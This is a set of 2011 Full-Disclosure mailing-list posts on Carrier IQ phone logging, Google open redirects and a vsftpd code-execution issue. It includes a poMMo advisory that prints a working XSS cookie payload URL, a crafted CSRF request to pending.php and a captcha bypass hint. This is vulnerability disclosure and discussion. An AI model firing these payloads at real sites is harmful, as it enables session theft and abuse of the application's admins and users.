On Sat, Dec 3, 2011 at 4:14 AM, Alan J. Wylie shyyqvfpybf...@wylie.me.uk wrote: ... Interesting response from Carrier IQ in a long article on The Register: http://www.theregister.co.uk/2011/12/02/carrier_iq_interview/ interesting response from FBI in regards to Carrier IQ http://www.muckrock.com/news/archives/2011/dec/12/fbi-carrier-iq-files-used-law-enforcement-purposes/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Two other Google open redirects
Nick FitzGerald n...@virus-l.demon.co.uk wrote: Michal, Tavis -- regression management problems in the Googleplex? Surely not... Nothing to do with me, but I think your redirection fetish is bizarre ;-) Tavis. -- - tav...@cmpxchg8b.com | pgp encrypted mail preferred --- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] BF, XSS, IAA and CSRF vulnerabilities in poMMo
Hello list!
I want to warn you about new multiple security vulnerabilities in poMMo.
These are Brute Force, Cross-Site Scripting, Insufficient Anti-automation
and Cross-Site Request Forgery vulnerabilities.
-
Affected products:
-
Vulnerable are all versions of poMMo (poMMo Aardvark PR16.1 and previous
versions).
--
Details:
--
Brute Force (WASC-11):
http://site/pommo/index.php
XSS (WASC-08):
http://site/pommo/index.php?referer=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Insufficient Anti-automation (WASC-21):
In function Forgot your password at page http://site/pommo/index.php there
is no reliable protection against automated requests - the text captcha is
using (which can be easily bypassed with using appropriate algorithm, or
it's possible to use value of correct answer in parameter realdeal, which is
making by JS-code). And also there is leakage of admin's email.
CSRF / IAA (WASC-09):
Or it's possible to send request directly to pending.php:
http://site/pommo/user/pending.php?input=a:2:{s:7:%22adminID%22;b:1;s:5:%22Email%22;s:7:%2...@1.com%22;}
At this page there is no protection against automated requests and CSRF
(captcha). Which allows to automatically send confirmation letters to email
of admin. And also to use this vulnerability for XSS attack
(http://websecurity.com.ua/5315/), which I've informed about earlier.
Timeline:
2011.10.29 - announced at my site.
2011.10.30 - informed developers.
2011.12.13 - disclosed at my site.
I mentioned about these vulnerabilities at my site:
http://websecurity.com.ua/5472/
Best wishes regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Carrier IQ for your phone
http://www.gizmodo.com.au/2011/12/carrier-iq-explains-what-it-does-with-your-data/ On Wed, Dec 14, 2011 at 9:06 AM, coderman coder...@gmail.com wrote: On Sat, Dec 3, 2011 at 4:14 AM, Alan J. Wylie shyyqvfpybf...@wylie.me.uk wrote: ... Interesting response from Carrier IQ in a long article on The Register: http://www.theregister.co.uk/2011/12/02/carrier_iq_interview/ interesting response from FBI in regards to Carrier IQ http://www.muckrock.com/news/archives/2011/dec/12/fbi-carrier-iq-files-used-law-enforcement-purposes/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Carrier IQ for your phone
On Tue, Dec 13, 2011 at 2:50 PM, Ivan .Heca ivan...@gmail.com wrote: http://www.gizmodo.com.au/2011/12/carrier-iq-explains-what-it-does-with-your-data/ These logs [full debug, keylogging, etc.] are generated on phones sold with the Carrier IQ program preloaded but the company says it’s working with manufacturers and networks to adjust the certification process and turn off debugging messages when the phone is activated. what a convenient little bit to flip. debug mode on! anyone else found a way to toggle this remotely? :) also fun: https://collector.iota.spcsdns.net:10003/collector/ anyone got a list of other iq collector URLs? ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google open redirect
On 12/10/2011 06:20 AM, Tavis Ormandy wrote: I'm not sure I understand whether you're saying that vendors need to make users expectations match reality, A. The vendor, through their UI, needs to set users' expectations properly. B. The actual security of the user needs to live up to what is communicated through the UI. or if users need to learn how to make security decisions properly. C. Well that too. I think C is not going to happen without A B. Vendors should not design security features to the lowest common denominator. They should hold users to a higher standard than that implied by typical user studies, lest low expectations continue to form a self-fulfilling prophecy. I think it's a believable claim that a large number of users have (incorrectly) decided that they can make security decisions using the status text or the appearance of a URL anywhere other than the address bar. I know I don't know how to do it. But at the same time, there are some URLs that I'm more scared to click than others. The reality is that pleading with everyone in the world to stop using redirection wouldn't solve the problem, and (in my opinion) is much harder than trying to find these users and educating them about how to achieve the desired effect correctly. Perhaps, but often it seems that UI designers and security people alike are absolutely convinced that users can *never* be effectively educated. Trying to call open redirection a vulnerability strikes me as hilarious. An attacker that can make a user visit an arbitrary URL can make a user visit an arbitrary URL Well, there's no vulnerability there, so let's revise it. It becomes a vulnerability when a system relies on the absence of that capability for its security. Do any? Hopefully not, but often the user is a critical part of the system too. After the whole goatse.cx gag started to get old, sites which allowed users to post links (like Slashdot) began always putting the domain in the text after the HTML link text. Now this is probably not a critical security feature, but it can be defeated with an open redirect accessible via [google.com]. I used to think phishing was a silly trick and didn't qualify as a real attack, but it sure seems highly effective in certain real-world contexts. Today there's a recognized attack category called social engineering, I used to just think of all that as con games. But now if we successfully convince every developer on the planet to stop using HTTP redirection, that doesn't change that the user doesnt know how to determine if the URL is trusted or not, so we just use one of dozens of other simple tricks. Surely the correct solution is to educate those users who are doing it incorrectly. I am in complete agreement with you. Let's say you are a bank that has just invested in a successful anti-phishing user education campaign. All the users have been trained to look beneath the HTML in emails, not to accept invalid SSL certificates, and only follow legitimate links that look like: https://*.examplebank.com/ At that point an open redirect is found under your site, such that https://onlinebanking.examplebank.com/confirm.aspx?customerid=1234return=http%3a%2f%2fpwn%2ely drives the browser to the attacker's phishing site. Does this represent a vulnerability? - Marsh ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Carrier IQ for your phone
another nice one http://www.techdirt.com/blog/wireless/articles/20111213/00271717060/fbi-admits-that-it-uses-carrier-iq-law-enforcement-purposes-wont-say-how.shtml On Wed, Dec 14, 2011 at 10:19 AM, coderman coder...@gmail.com wrote: On Tue, Dec 13, 2011 at 2:50 PM, Ivan .Heca ivan...@gmail.com wrote: http://www.gizmodo.com.au/2011/12/carrier-iq-explains-what-it-does-with-your-data/ These logs [full debug, keylogging, etc.] are generated on phones sold with the Carrier IQ program preloaded but the company says it’s working with manufacturers and networks to adjust the certification process and turn off debugging messages when the phone is activated. what a convenient little bit to flip. debug mode on! anyone else found a way to toggle this remotely? :) also fun: https://collector.iota.spcsdns.net:10003/collector/ anyone got a list of other iq collector URLs? ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google open redirect
Marsh Ray ma...@extendedsubset.com wrote: But now if we successfully convince every developer on the planet to stop using HTTP redirection, that doesn't change that the user doesnt know how to determine if the URL is trusted or not, so we just use one of dozens of other simple tricks. Surely the correct solution is to educate those users who are doing it incorrectly. I am in complete agreement with you. Let's say you are a bank that has just invested in a successful anti-phishing user education campaign. All the users have been trained to look beneath the HTML in emails, not to accept invalid SSL certificates, and only follow legitimate links that look like: https://*.examplebank.com/ At that point an open redirect is found under your site, such that https://onlinebanking.examplebank.com/confirm.aspx?customerid=1234return=http%3a%2f%2fpwn%2ely drives the browser to the attacker's phishing site. Does this represent a vulnerability? - Marsh So they've trained their users to parse and understand html, can decode complex documents manually, and understand the difference between anchor text and destination. They can decipher complex URLs using any of the obscure syntax supported, and understand the heirarchichal nature of the domain name system. They've also learned how to verify SSL certificates without clicking on links (perhaps using openssl s_client?). Bizarrely, they've also been convinced to never read the address bar (which is really all they needed to do from the start instead of the hours of training requiring them to reach this level). Then yes, you have a vulnerability. However, it's in the criminally negligent training material provided by the bank :-) Tavis. -- - tav...@cmpxchg8b.com | pgp encrypted mail preferred --- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: VSFTPD Remote Heap Overrun (low severity)
If you want to prevent apps from reading zoneinfo files that a user can write and read files a user can write, you will loose. Why are you setting up the chroot with content a user can write too? If you simply prevent him from writing to /usr/share, won't that solve the problem? Not really. Because, in fact, the user, when chrooted, is writing to /home/user/usr/share/zoneinfo/. I've suggested a different file context for /home/(.*)/usr/share/zoneinfo(/.*) in vsftpd policy module. But I don't think this will be necessary due to the recent findings about vsftpd. -- Ramon de C Valle / Red Hat Security Response Team ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] vsFTPd remote code execution
On Tue, Dec 13, 2011 at 12:11 PM, HI-TECH . isowarez.isowarez.isowa...@googlemail.com wrote: Yes you are somewhat right, as this is the old discussion about if code execution inside an ftpd is a vulnerability itself or only local code execution. I have the opinion that an ftpd which does not allow to run code should restrict the user so, and if there is a way to execute code it it is a vulnerability. Take the example of a vsftpd configured for anonymous ftp and write access in /var/ftp. IIRC, vsftpd can refuse to start an anonymous session for the misconfiguration where the root directory is writeable (to avoid problems in the libc like this). I'll make sure it still works and maybe check other paths such as /etc For local users, there's a configuration setting: chroot_local_user. The compiled-in default is false, and the man page cautions: --- .BR Warning: This option has security implications, especially if the users have upload permission, or shell access. Only enable if you know what you are doing. --- I'm not uptodate with whether Linux distributions have turned this on by default or not. vsftpd does have the concept of virtual users. I'm not sure if it's widely used but it seems that this type of user login would present the biggest headache. Amusingly, vsftpd already attempts to desist glibc from loading any timezone files from inside the chroot() (see env_init) by warming up the subsystem and even explicitly setting TZ in the environment. glibc displeases me. Perhaps it's a gmtime() vs. localtime() issue -- I'm curious to know if glibc still crashes if the setting use_localtime=YES is used? I don't mind adding workarounds or avoidances for libc bugs (for example, functions like regcomp, fnmatch have long been avoided). If you had any clever ideas, I'm happy to put them in, otherwise it's a case of waiting for the glibc updates. Cheers Chris The attacker might execute code using the vulnerability without authentication credentials, or for example an attacker only has access to a user account configured for ftp. Basically you are right, vsftpd uses privsep so its a not so risky vulnerability. /Kingcope Am 13. Dezember 2011 20:56 schrieb Dan Rosenberg dan.j.rosenb...@gmail.com: Anyone with an up2date linux local root which only makes use of syscalls? : This is all fun stuff, and definitely worth looking into further, but if you've got a local kernel exploit that you can trigger from inside vsftpd, you don't need this (potential) vulnerability in vsftpd - you already win. -Dan ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
